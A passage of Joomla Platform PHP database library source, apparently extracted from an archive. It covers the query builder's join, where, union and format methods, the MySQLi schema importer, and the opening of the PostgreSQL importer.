can be provided, it is recommended you use explicit joins. * * Usage: * $query->select('*')->from('#__a'); * * @param mixed $tables A string or array of table names. * This can be a JDatabaseQuery object (or a child of it) when used * as a subquery in FROM clause along with a value for $subQueryAlias. * @param string $subQueryAlias Alias used when $tables is a JDatabaseQuery. * * @return JDatabaseQuery Returns this object to allow chaining. * * @throws RuntimeException * * @since 1.7.0 */ public function from($tables, $subQueryAlias = null) { if (is_null($this->from)) { if ($tables instanceof $this) { if (is_null($subQueryAlias)) { throw new RuntimeException('JLIB_DATABASE_ERROR_NULL_SUBQUERY_ALIAS'); } $tables = '( ' . (string) $tables . ' ) AS ' . $this->quoteName($subQueryAlias); } $this->from = new JDatabaseQueryElement('FROM', $tables); } else { $this->from->append($tables); } return $this; } /** * Used to get a string to extract year from date column. * * Usage: * $query->select($query->year($query->quoteName('dateColumn'))); * * @param string $date Date column containing year to be extracted. * * @return string Returns string to extract year from a date. * * @since 3.0.0 */ public function year($date) { return 'YEAR(' . $date . ')'; } /** * Used to get a string to extract month from date column. * * Usage: * $query->select($query->month($query->quoteName('dateColumn'))); * * @param string $date Date column containing month to be extracted. * * @return string Returns string to extract month from a date. * * @since 3.0.0 */ public function month($date) { return 'MONTH(' . $date . ')'; } /** * Used to get a string to extract day from date column. * * Usage: * $query->select($query->day($query->quoteName('dateColumn'))); * * @param string $date Date column containing day to be extracted. * * @return string Returns string to extract day from a date. * * @since 3.0.0 */ public function day($date) { return 'DAY(' . $date . ')'; } /** * Used to get a string to extract hour from date column. * * Usage: * $query->select($query->hour($query->quoteName('dateColumn'))); * * @param string $date Date column containing hour to be extracted. * * @return string Returns string to extract hour from a date. * * @since 3.0.0 */ public function hour($date) { return 'HOUR(' . $date . ')'; } /** * Used to get a string to extract minute from date column. * * Usage: * $query->select($query->minute($query->quoteName('dateColumn'))); * * @param string $date Date column containing minute to be extracted. * * @return string Returns string to extract minute from a date. * * @since 3.0.0 */ public function minute($date) { return 'MINUTE(' . $date . ')'; } /** * Used to get a string to extract seconds from date column. * * Usage: * $query->select($query->second($query->quoteName('dateColumn'))); * * @param string $date Date column containing second to be extracted. * * @return string Returns string to extract second from a date. * * @since 3.0.0 */ public function second($date) { return 'SECOND(' . $date . ')'; } /** * Add a grouping column to the GROUP clause of the query. * * Usage: * $query->group('id'); * * @param mixed $columns A string or array of ordering columns. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function group($columns) { if (is_null($this->group)) { $this->group = new JDatabaseQueryElement('GROUP BY', $columns); } else { $this->group->append($columns); } return $this; } /** * A conditions to the HAVING clause of the query. * * Usage: * $query->group('id')->having('COUNT(id) > 5'); * * @param mixed $conditions A string or array of columns. * @param string $glue The glue by which to join the conditions. Defaults to AND. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function having($conditions, $glue = 'AND') { if (is_null($this->having)) { $glue = strtoupper($glue); $this->having = new JDatabaseQueryElement('HAVING', $conditions, " $glue "); } else { $this->having->append($conditions); } return $this; } /** * Add an INNER JOIN clause to the query. * * Usage: * $query->innerJoin('b ON b.id = a.id')->innerJoin('c ON c.id = b.id'); * * @param string $condition The join condition. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function innerJoin($condition) { $this->join('INNER', $condition); return $this; } /** * Add a table name to the INSERT clause of the query. * * Note that you must not mix insert, update, delete and select method calls when building a query. * * Usage: * $query->insert('#__a')->set('id = 1'); * $query->insert('#__a')->columns('id, title')->values('1,2')->values('3,4'); * $query->insert('#__a')->columns('id, title')->values(array('1,2', '3,4')); * * @param mixed $table The name of the table to insert data into. * @param boolean $incrementField The name of the field to auto increment. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function insert($table, $incrementField=false) { $this->type = 'insert'; $this->insert = new JDatabaseQueryElement('INSERT INTO', $table); $this->autoIncrementField = $incrementField; return $this; } /** * Add a JOIN clause to the query. * * Usage: * $query->join('INNER', 'b ON b.id = a.id); * * @param string $type The type of join. This string is prepended to the JOIN keyword. * @param string $conditions A string or array of conditions. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function join($type, $conditions) { if (is_null($this->join)) { $this->join = array(); } $this->join[] = new JDatabaseQueryElement(strtoupper($type) . ' JOIN', $conditions); return $this; } /** * Add a LEFT JOIN clause to the query. * * Usage: * $query->leftJoin('b ON b.id = a.id')->leftJoin('c ON c.id = b.id'); * * @param string $condition The join condition. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function leftJoin($condition) { $this->join('LEFT', $condition); return $this; } /** * Get the length of a string in bytes. * * Note, use 'charLength' to find the number of characters in a string. * * Usage: * query->where($query->length('a').' > 3'); * * @param string $value The string to measure. * * @return int * * @since 1.7.0 */ public function length($value) { return 'LENGTH(' . $value . ')'; } /** * Get the null or zero representation of a timestamp for the database driver. * * This method is provided for use where the query object is passed to a function for modification. * If you have direct access to the database object, it is recommended you use the nullDate method directly. * * Usage: * $query->where('modified_date <> '.$query->nullDate()); * * @param boolean $quoted Optionally wraps the null date in database quotes (true by default). * * @return string Null or zero representation of a timestamp. * * @since 1.7.0 */ public function nullDate($quoted = true) { if (!($this->db instanceof JDatabaseDriver)) { throw new RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT'); } $result = $this->db->getNullDate($quoted); if ($quoted) { return $this->db->quote($result); } return $result; } /** * Add an ordering column to the ORDER clause of the query. * * Usage: * $query->order('foo')->order('bar'); * $query->order(array('foo','bar')); * * @param mixed $columns A string or array of ordering columns. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function order($columns) { if (is_null($this->order)) { $this->order = new JDatabaseQueryElement('ORDER BY', $columns); } else { $this->order->append($columns); } return $this; } /** * Add an OUTER JOIN clause to the query. * * Usage: * $query->outerJoin('b ON b.id = a.id')->outerJoin('c ON c.id = b.id'); * * @param string $condition The join condition. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function outerJoin($condition) { $this->join('OUTER', $condition); return $this; } /** * Method to quote and optionally escape a string to database requirements for insertion into the database. * * This method is provided for use where the query object is passed to a function for modification. * If you have direct access to the database object, it is recommended you use the quote method directly. * * Note that 'q' is an alias for this method as it is in JDatabaseDriver. * * Usage: * $query->quote('fulltext'); * $query->q('fulltext'); * $query->q(array('option', 'fulltext')); * * @param mixed $text A string or an array of strings to quote. * @param boolean $escape True to escape the string, false to leave it unchanged. * * @return string The quoted input string. * * @since 1.7.0 * @throws RuntimeException if the internal db property is not a valid object. */ public function quote($text, $escape = true) { if (!($this->db instanceof JDatabaseDriver)) { throw new RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT'); } return $this->db->quote($text, $escape); } /** * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection * risks and reserved word conflicts. * * This method is provided for use where the query object is passed to a function for modification. * If you have direct access to the database object, it is recommended you use the quoteName method directly. * * Note that 'qn' is an alias for this method as it is in JDatabaseDriver. * * Usage: * $query->quoteName('#__a'); * $query->qn('#__a'); * * @param mixed $name The identifier name to wrap in quotes, or an array of identifier names to wrap in quotes. * Each type supports dot-notation name. * @param mixed $as The AS query part associated to $name. It can be string or array, in latter case it has to be * same length of $name; if is null there will not be any AS part for string or array element. * * @return mixed The quote wrapped name, same type of $name. * * @since 1.7.0 * @throws RuntimeException if the internal db property is not a valid object. */ public function quoteName($name, $as = null) { if (!($this->db instanceof JDatabaseDriver)) { throw new RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT'); } return $this->db->quoteName($name, $as); } /** * Add a RIGHT JOIN clause to the query. * * Usage: * $query->rightJoin('b ON b.id = a.id')->rightJoin('c ON c.id = b.id'); * * @param string $condition The join condition. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function rightJoin($condition) { $this->join('RIGHT', $condition); return $this; } /** * Add a single column, or array of columns to the SELECT clause of the query. * * Note that you must not mix insert, update, delete and select method calls when building a query. * The select method can, however, be called multiple times in the same query. * * Usage: * $query->select('a.*')->select('b.id'); * $query->select(array('a.*', 'b.id')); * * @param mixed $columns A string or an array of field names. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function select($columns) { $this->type = 'select'; if (is_null($this->select)) { $this->select = new JDatabaseQueryElement('SELECT', $columns); } else { $this->select->append($columns); } return $this; } /** * Add a single condition string, or an array of strings to the SET clause of the query. * * Usage: * $query->set('a = 1')->set('b = 2'); * $query->set(array('a = 1', 'b = 2'); * * @param mixed $conditions A string or array of string conditions. * @param string $glue The glue by which to join the condition strings. Defaults to ,. * Note that the glue is set on first use and cannot be changed. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function set($conditions, $glue = ',') { if (is_null($this->set)) { $glue = strtoupper($glue); $this->set = new JDatabaseQueryElement('SET', $conditions, "\n\t$glue "); } else { $this->set->append($conditions); } return $this; } /** * Allows a direct query to be provided to the database * driver's setQuery() method, but still allow queries * to have bounded variables. * * Usage: * $query->setQuery('select * from #__users'); * * @param mixed $sql An SQL Query * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.0.0 */ public function setQuery($sql) { $this->sql = $sql; return $this; } /** * Add a table name to the UPDATE clause of the query. * * Note that you must not mix insert, update, delete and select method calls when building a query. * * Usage: * $query->update('#__foo')->set(...); * * @param string $table A table to update. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function update($table) { $this->type = 'update'; $this->update = new JDatabaseQueryElement('UPDATE', $table); return $this; } /** * Adds a tuple, or array of tuples that would be used as values for an INSERT INTO statement. * * Usage: * $query->values('1,2,3')->values('4,5,6'); * $query->values(array('1,2,3', '4,5,6')); * * @param string $values A single tuple, or array of tuples. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function values($values) { if (is_null($this->values)) { $this->values = new JDatabaseQueryElement('()', $values, '),('); } else { $this->values->append($values); } return $this; } /** * Add a single condition, or an array of conditions to the WHERE clause of the query. * * Usage: * $query->where('a = 1')->where('b = 2'); * $query->where(array('a = 1', 'b = 2')); * * @param mixed $conditions A string or array of where conditions. * @param string $glue The glue by which to join the conditions. Defaults to AND. * Note that the glue is set on first use and cannot be changed. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 1.7.0 */ public function where($conditions, $glue = 'AND') { if (is_null($this->where)) { $glue = strtoupper($glue); $this->where = new JDatabaseQueryElement('WHERE', $conditions, " $glue "); } else { $this->where->append($conditions); } return $this; } /** * Extend the WHERE clause with a single condition or an array of conditions, with a potentially * different logical operator from the one in the current WHERE clause. * * Usage: * $query->where(array('a = 1', 'b = 2'))->extendWhere('XOR', array('c = 3', 'd = 4')); * will produce: WHERE ((a = 1 AND b = 2) XOR (c = 3 AND d = 4) * * @param string $outerGlue The glue by which to join the conditions to the current WHERE conditions. * @param mixed $conditions A string or array of WHERE conditions. * @param string $innerGlue The glue by which to join the conditions. Defaults to AND. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.6 */ public function extendWhere($outerGlue, $conditions, $innerGlue = 'AND') { // Replace the current WHERE with a new one which has the old one as an unnamed child. $this->where = new JDatabaseQueryElement('WHERE', $this->where->setName('()'), " $outerGlue "); // Append the new conditions as a new unnamed child. $this->where->append(new JDatabaseQueryElement('()', $conditions, " $innerGlue ")); return $this; } /** * Extend the WHERE clause with an OR and a single condition or an array of conditions. * * Usage: * $query->where(array('a = 1', 'b = 2'))->orWhere(array('c = 3', 'd = 4')); * will produce: WHERE ((a = 1 AND b = 2) OR (c = 3 AND d = 4) * * @param mixed $conditions A string or array of WHERE conditions. * @param string $glue The glue by which to join the conditions. Defaults to AND. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.6 */ public function orWhere($conditions, $glue = 'AND') { return $this->extendWhere('OR', $conditions, $glue); } /** * Extend the WHERE clause with an AND and a single condition or an array of conditions. * * Usage: * $query->where(array('a = 1', 'b = 2'))->andWhere(array('c = 3', 'd = 4')); * will produce: WHERE ((a = 1 AND b = 2) AND (c = 3 OR d = 4) * * @param mixed $conditions A string or array of WHERE conditions. * @param string $glue The glue by which to join the conditions. Defaults to OR. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.6 */ public function andWhere($conditions, $glue = 'OR') { return $this->extendWhere('AND', $conditions, $glue); } /** * Method to provide deep copy support to nested objects and * arrays when cloning. * * @return void * * @since 1.7.3 */ public function __clone() { foreach ($this as $k => $v) { if ($k === 'db') { continue; } if (is_object($v) || is_array($v)) { $this->{$k} = unserialize(serialize($v)); } } } /** * Add a query to UNION with the current query. * Multiple unions each require separate statements and create an array of unions. * * Usage (the $query base query MUST be a select query): * $query->union('SELECT name FROM #__foo') * $query->union('SELECT name FROM #__foo', true) * $query->union($query2)->union($query3) * * The $query attribute as an array is deprecated and will not be supported in 4.0. * * $query->union(array('SELECT name FROM #__foo','SELECT name FROM #__bar')) * $query->union(array($query2, $query3)) * * @param mixed $query The JDatabaseQuery object or string to union. * @param boolean $distinct True to only return distinct rows from the union. * @param string $glue The glue by which to join the conditions. * * @return JDatabaseQuery Returns this object to allow chaining. * * @link http://dev.mysql.com/doc/refman/5.0/en/union.html * * @since 3.0.0 */ public function union($query, $distinct = false, $glue = '') { // Set up the DISTINCT flag, the name with parentheses, and the glue. if ($distinct) { $name = 'UNION DISTINCT ()'; $glue = ')' . PHP_EOL . 'UNION DISTINCT ('; } else { $glue = ')' . PHP_EOL . 'UNION ('; $name = 'UNION ()'; } if (is_array($query)) { JLog::add('Query attribute as an array is deprecated.', JLog::WARNING, 'deprecated'); } // Get the JDatabaseQueryElement if it does not exist if (is_null($this->union)) { $this->union = new JDatabaseQueryElement($name, $query, "$glue"); } // Otherwise append the second UNION. else { $this->union->append($query); } return $this; } /** * Add a query to UNION DISTINCT with the current query. Simply a proxy to union with the DISTINCT keyword. * * Usage: * $query->unionDistinct('SELECT name FROM #__foo') * * @param mixed $query The JDatabaseQuery object or string to union. * @param string $glue The glue by which to join the conditions. * * @return JDatabaseQuery Returns this object to allow chaining. * * @see union * * @since 3.0.0 * @deprecated 4.0 Use union() instead. */ public function unionDistinct($query, $glue = '') { $distinct = true; // Apply the distinct flag to the union. return $this->union($query, $distinct, $glue); } /** * Find and replace sprintf-like tokens in a format string. * Each token takes one of the following forms: * %% - A literal percent character. * %[t] - Where [t] is a type specifier. * %[n]$[x] - Where [n] is an argument specifier and [t] is a type specifier. * * Types: * a - Numeric: Replacement text is coerced to a numeric type but not quoted or escaped. * e - Escape: Replacement text is passed to $this->escape(). * E - Escape (extra): Replacement text is passed to $this->escape() with true as the second argument. * n - Name Quote: Replacement text is passed to $this->quoteName(). * q - Quote: Replacement text is passed to $this->quote(). * Q - Quote (no escape): Replacement text is passed to $this->quote() with false as the second argument. * r - Raw: Replacement text is used as-is. (Be careful) * * Date Types: * - Replacement text automatically quoted (use uppercase for Name Quote). * - Replacement text should be a string in date format or name of a date column. * y/Y - Year * m/M - Month * d/D - Day * h/H - Hour * i/I - Minute * s/S - Second * * Invariable Types: * - Takes no argument. * - Argument index not incremented. * t - Replacement text is the result of $this->currentTimestamp(). * z - Replacement text is the result of $this->nullDate(false). * Z - Replacement text is the result of $this->nullDate(true). * * Usage: * $query->format('SELECT %1$n FROM %2$n WHERE %3$n = %4$a', 'foo', '#__foo', 'bar', 1); * Returns: SELECT `foo` FROM `#__foo` WHERE `bar` = 1 * * Notes: * The argument specifier is optional but recommended for clarity. * The argument index used for unspecified tokens is incremented only when used. * * @param string $format The formatting string. * * @return string Returns a string produced according to the formatting string. * * @since 3.1.4 */ public function format($format) { $query = $this; $args = array_slice(func_get_args(), 1); array_unshift($args, null); $i = 1; $func = function ($match) use ($query, $args, &$i) { if (isset($match[6]) && $match[6] == '%') { return '%'; } // No argument required, do not increment the argument index. switch ($match[5]) { case 't': return $query->currentTimestamp(); break; case 'z': return $query->nullDate(false); break; case 'Z': return $query->nullDate(true); break; } // Increment the argument index only if argument specifier not provided. $index = is_numeric($match[4]) ? (int) $match[4] : $i++; if (!$index || !isset($args[$index])) { // TODO - What to do? sprintf() throws a Warning in these cases. $replacement = ''; } else { $replacement = $args[$index]; } switch ($match[5]) { case 'a': return 0 + $replacement; break; case 'e': return $query->escape($replacement); break; case 'E': return $query->escape($replacement, true); break; case 'n': return $query->quoteName($replacement); break; case 'q': return $query->quote($replacement); break; case 'Q': return $query->quote($replacement, false); break; case 'r': return $replacement; break; // Dates case 'y': return $query->year($query->quote($replacement)); break; case 'Y': return $query->year($query->quoteName($replacement)); break; case 'm': return $query->month($query->quote($replacement)); break; case 'M': return $query->month($query->quoteName($replacement)); break; case 'd': return $query->day($query->quote($replacement)); break; case 'D': return $query->day($query->quoteName($replacement)); break; case 'h': return $query->hour($query->quote($replacement)); break; case 'H': return $query->hour($query->quoteName($replacement)); break; case 'i': return $query->minute($query->quote($replacement)); break; case 'I': return $query->minute($query->quoteName($replacement)); break; case 's': return $query->second($query->quote($replacement)); break; case 'S': return $query->second($query->quoteName($replacement)); break; } return ''; }; /** * Regexp to find and replace all tokens. * Matched fields: * 0: Full token * 1: Everything following '%' * 2: Everything following '%' unless '%' * 3: Argument specifier and '$' * 4: Argument specifier * 5: Type specifier * 6: '%' if full token is '%%' */ return preg_replace_callback('#%(((([\d]+)\$)?([aeEnqQryYmMdDhHiIsStzZ]))|(%))#', $func, $format); } /** * Add to the current date and time. * Usage: * $query->select($query->dateAdd()); * Prefixing the interval with a - (negative sign) will cause subtraction to be used. * Note: Not all drivers support all units. * * @param string $date The db quoted string representation of the date to add to. May be date or datetime * @param string $interval The string representation of the appropriate number of units * @param string $datePart The part of the date to perform the addition on * * @return string The string with the appropriate sql for addition of dates * * @link http://dev.mysql.com/doc/refman/5.1/en/date-and-time-functions.html#function_date-add * @since 3.2.0 */ public function dateAdd($date, $interval, $datePart) { return 'DATE_ADD(' . $date . ', INTERVAL ' . $interval . ' ' . $datePart . ')'; } /** * Add a query to UNION ALL with the current query. * Multiple unions each require separate statements and create an array of unions. * * Usage: * $query->union('SELECT name FROM #__foo') * * The $query attribute as an array is deprecated and will not be supported in 4.0. * * $query->union(array('SELECT name FROM #__foo','SELECT name FROM #__bar')) * * @param mixed $query The JDatabaseQuery object or string to union. * @param boolean $distinct Not used - ignored. * @param string $glue Not used - ignored. * * @return JDatabaseQuery Returns this object to allow chaining. * * @see union * * @since 3.2.0 */ public function unionAll($query, $distinct = false, $glue = '') { $glue = ')' . PHP_EOL . 'UNION ALL ('; $name = 'UNION ALL ()'; if (is_array($query)) { JLog::add('Query attribute as an array is deprecated.', JLog::WARNING, 'deprecated'); } // Get the JDatabaseQueryElement if it does not exist if (is_null($this->unionAll)) { $this->unionAll = new JDatabaseQueryElement($name, $query, "$glue"); } // Otherwise append the second UNION. else { $this->unionAll->append($query); } return $this; } /** * Validate arguments which are passed to selectRowNumber method and set up common variables. * * @param string $orderBy An expression of ordering for window function. * @param string $orderColumnAlias An alias for new ordering column. * * @return void * * @since 3.7.0 * @throws RuntimeException */ protected function validateRowNumber($orderBy, $orderColumnAlias) { if ($this->selectRowNumber) { throw new RuntimeException("Method 'selectRowNumber' can be called only once per instance."); } $this->type = 'select'; $this->selectRowNumber = array( 'orderBy' => $orderBy, 'orderColumnAlias' => $orderColumnAlias, ); } /** * Return the number of the current row. * * Usage: * $query->select('id'); * $query->selectRowNumber('ordering,publish_up DESC', 'new_ordering'); * $query->from('#__content'); * * @param string $orderBy An expression of ordering for window function. * @param string $orderColumnAlias An alias for new ordering column. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.7.0 * @throws RuntimeException */ public function selectRowNumber($orderBy, $orderColumnAlias) { $this->validateRowNumber($orderBy, $orderColumnAlias); $this->select("ROW_NUMBER() OVER (ORDER BY $orderBy) AS $orderColumnAlias"); return $this; } } PK�\#F�E�-�-#joomla/database/importer/mysqli.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * MySQLi import driver. * * @since 1.7.0 */ class JDatabaseImporterMysqli extends JDatabaseImporter { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporterMysqli Method supports chaining. * * @since 1.7.0 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverMysqli)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new Exception('JPLATFORM_ERROR_NO_TABLES_SPECIFIED'); } return $this; } /** * Get the SQL syntax to add a table. * * @param SimpleXMLElement $table The table information. * * @return string * * @since 1.7.0 * @throws RuntimeException */ protected function xmlToCreate(SimpleXMLElement $table) { $existingTables = $this->db->getTableList(); $tableName = (string) $table['name']; if (in_array($tableName, $existingTables)) { throw new RuntimeException('The table you are trying to create already exists'); } $createTableStatement = 'CREATE TABLE ' . $this->db->quoteName($tableName) . ' ('; foreach ($table->xpath('field') as $field) { $createTableStatement .= $this->getColumnSQL($field) . ', '; } $newLookup = $this->getKeyLookup($table->xpath('key')); // Loop through each key in the new structure. foreach ($newLookup as $key) { $createTableStatement .= $this->getKeySQL($key) . ', '; } // Remove the comma after the last key $createTableStatement = rtrim($createTableStatement, ', '); $createTableStatement .= ')'; return $createTableStatement; } /** * Get the SQL syntax to add a column. * * @param string $table The table name. * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 1.7.0 */ protected function getAddColumnSql($table, SimpleXMLElement $field) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' ADD COLUMN ' . $this->getColumnSql($field); } /** * Get the SQL syntax to add a key. * * @param string $table The table name. * @param array $keys An array of the fields pertaining to this key. * * @return string * * @since 1.7.0 */ protected function getAddKeySql($table, $keys) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' ADD ' . $this->getKeySql($keys); } /** * Get alters for table if there is a difference. * * @param SimpleXMLElement $structure The XML structure of the table. * * @return array * * @since 1.7.0 */ protected function getAlterTableSql(SimpleXMLElement $structure) { $table = $this->getRealTableName($structure['name']); $oldFields = $this->db->getTableColumns($table, false); $oldKeys = $this->db->getTableKeys($table); $alters = array(); // Get the fields and keys from the XML that we are aiming for. $newFields = $structure->xpath('field'); $newKeys = $structure->xpath('key'); // Loop through each field in the new structure. foreach ($newFields as $field) { $fName = (string) $field['Field']; if (isset($oldFields[$fName])) { // The field exists, check it's the same. $column = $oldFields[$fName]; // Test whether there is a change. $change = ((string) $field['Type'] != $column->Type) || ((string) $field['Null'] != $column->Null) || ((string) $field['Default'] != $column->Default) || ((string) $field['Extra'] != $column->Extra); if ($change) { $alters[] = $this->getChangeColumnSql($table, $field); } // Unset this field so that what we have left are fields that need to be removed. unset($oldFields[$fName]); } else { // The field is new. $alters[] = $this->getAddColumnSql($table, $field); } } // Any columns left are orphans foreach ($oldFields as $name => $column) { // Delete the column. $alters[] = $this->getDropColumnSql($table, $name); } // Get the lookups for the old and new keys. $oldLookup = $this->getKeyLookup($oldKeys); $newLookup = $this->getKeyLookup($newKeys); // Loop through each key in the new structure. foreach ($newLookup as $name => $keys) { // Check if there are keys on this field in the existing table. if (isset($oldLookup[$name])) { $same = true; $newCount = count($newLookup[$name]); $oldCount = count($oldLookup[$name]); // There is a key on this field in the old and new tables. Are they the same? if ($newCount == $oldCount) { // Need to loop through each key and do a fine grained check. for ($i = 0; $i < $newCount; $i++) { $same = (((string) $newLookup[$name][$i]['Non_unique'] == $oldLookup[$name][$i]->Non_unique) && ((string) $newLookup[$name][$i]['Column_name'] == $oldLookup[$name][$i]->Column_name) && ((string) $newLookup[$name][$i]['Seq_in_index'] == $oldLookup[$name][$i]->Seq_in_index) && ((string) $newLookup[$name][$i]['Collation'] == $oldLookup[$name][$i]->Collation) && ((string) $newLookup[$name][$i]['Index_type'] == $oldLookup[$name][$i]->Index_type)); /* Debug. echo '<pre>'; echo '<br />Non_unique: '. ((string) $newLookup[$name][$i]['Non_unique'] == $oldLookup[$name][$i]->Non_unique ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Non_unique'].' vs '.$oldLookup[$name][$i]->Non_unique; echo '<br />Column_name: '. ((string) $newLookup[$name][$i]['Column_name'] == $oldLookup[$name][$i]->Column_name ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Column_name'].' vs '.$oldLookup[$name][$i]->Column_name; echo '<br />Seq_in_index: '. ((string) $newLookup[$name][$i]['Seq_in_index'] == $oldLookup[$name][$i]->Seq_in_index ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Seq_in_index'].' vs '.$oldLookup[$name][$i]->Seq_in_index; echo '<br />Collation: '. ((string) $newLookup[$name][$i]['Collation'] == $oldLookup[$name][$i]->Collation ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Collation'].' vs '.$oldLookup[$name][$i]->Collation; echo '<br />Index_type: '. ((string) $newLookup[$name][$i]['Index_type'] == $oldLookup[$name][$i]->Index_type ? 'Pass' : 'Fail').' '. (string) $newLookup[$name][$i]['Index_type'].' vs '.$oldLookup[$name][$i]->Index_type; echo '<br />Same = '.($same ? 'true' : 'false'); echo '</pre>'; */ if (!$same) { // Break out of the loop. No need to check further. break; } } } else { // Count is different, just drop and add. $same = false; } if (!$same) { $alters[] = $this->getDropKeySql($table, $name); $alters[] = $this->getAddKeySql($table, $keys); } // Unset this field so that what we have left are fields that need to be removed. unset($oldLookup[$name]); } else { // This is a new key. $alters[] = $this->getAddKeySql($table, $keys); } } // Any keys left are orphans. foreach ($oldLookup as $name => $keys) { if (strtoupper($name) == 'PRIMARY') { $alters[] = $this->getDropPrimaryKeySql($table); } else { $alters[] = $this->getDropKeySql($table, $name); } } return $alters; } /** * Get the syntax to alter a column. * * @param string $table The name of the database table to alter. * @param SimpleXMLElement $field The XML definition for the field. * * @return string * * @since 1.7.0 */ protected function getChangeColumnSql($table, SimpleXMLElement $field) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' CHANGE COLUMN ' . $this->db->quoteName((string) $field['Field']) . ' ' . $this->getColumnSql($field); } /** * Get the SQL syntax for a single column that would be included in a table create or alter statement. * * @param SimpleXMLElement $field The XML field definition. * * @return string * * @since 1.7.0 */ protected function getColumnSql(SimpleXMLElement $field) { // TODO Incorporate into parent class and use $this. $blobs = array('text', 'smalltext', 'mediumtext', 'largetext'); $fName = (string) $field['Field']; $fType = (string) $field['Type']; $fNull = (string) $field['Null']; $fDefault = isset($field['Default']) ? (string) $field['Default'] : null; $fExtra = (string) $field['Extra']; $query = $this->db->quoteName($fName) . ' ' . $fType; if ($fNull == 'NO') { if (in_array($fType, $blobs) || $fDefault === null) { $query .= ' NOT NULL'; } else { // TODO Don't quote numeric values. $query .= ' NOT NULL DEFAULT ' . $this->db->quote($fDefault); } } else { if ($fDefault === null) { $query .= ' DEFAULT NULL'; } else { // TODO Don't quote numeric values. $query .= ' DEFAULT ' . $this->db->quote($fDefault); } } if ($fExtra) { $query .= ' ' . strtoupper($fExtra); } return $query; } /** * Get the SQL syntax to drop a key. * * @param string $table The table name. * @param string $name The name of the key to drop. * * @return string * * @since 1.7.0 */ protected function getDropKeySql($table, $name) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP KEY ' . $this->db->quoteName($name); } /** * Get the SQL syntax to drop a key. * * @param string $table The table name. * * @return string * * @since 1.7.0 */ protected function getDropPrimaryKeySql($table) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP PRIMARY KEY'; } /** * Get the details list of keys for a table. * * @param array $keys An array of objects that comprise the keys for the table. * * @return array The lookup array. array({key name} => array(object, ...)) * * @since 1.7.0 * @throws Exception */ protected function getKeyLookup($keys) { // First pass, create a lookup of the keys. $lookup = array(); foreach ($keys as $key) { if ($key instanceof SimpleXMLElement) { $kName = (string) $key['Key_name']; } else { $kName = $key->Key_name; } if (empty($lookup[$kName])) { $lookup[$kName] = array(); } $lookup[$kName][] = $key; } return $lookup; } /** * Get the SQL syntax for a key. * * @param array $columns An array of SimpleXMLElement objects comprising the key. * * @return string * * @since 1.7.0 */ protected function getKeySql($columns) { // TODO Error checking on array and element types. $kNonUnique = (string) $columns[0]['Non_unique']; $kName = (string) $columns[0]['Key_name']; $kColumn = (string) $columns[0]['Column_name']; $prefix = ''; if ($kName == 'PRIMARY') { $prefix = 'PRIMARY '; } elseif ($kNonUnique == 0) { $prefix = 'UNIQUE '; } $nColumns = count($columns); $kColumns = array(); if ($nColumns == 1) { $kColumns[] = $this->db->quoteName($kColumn); } else { foreach ($columns as $column) { $kColumns[] = (string) $column['Column_name']; } } $query = $prefix . 'KEY ' . ($kName != 'PRIMARY' ? $this->db->quoteName($kName) : '') . ' (' . implode(',', $kColumns) . ')'; return $query; } } PK�\�Jhn+9+9'joomla/database/importer/postgresql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PostgreSQL import driver. * * @since 3.0.0 * @deprecated 4.0 Use PDO PostgreSQL instead */ class JDatabaseImporterPostgresql extends JDatabaseImporter { /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporterPostgresql Method supports chaining. * * @since 3.0.0 * @throws Exception if an error is encountered. */ public function check() { // Check if the db connector has been set. if (!($this->db instanceof JDatabaseDriverPostgresql)) { throw new Exception('JPLATFORM_ERROR_DATABASE_CONNECTOR_WRONG_TYPE'); } // Check if the tables have been specified. if (empty($this->from)) { throw new 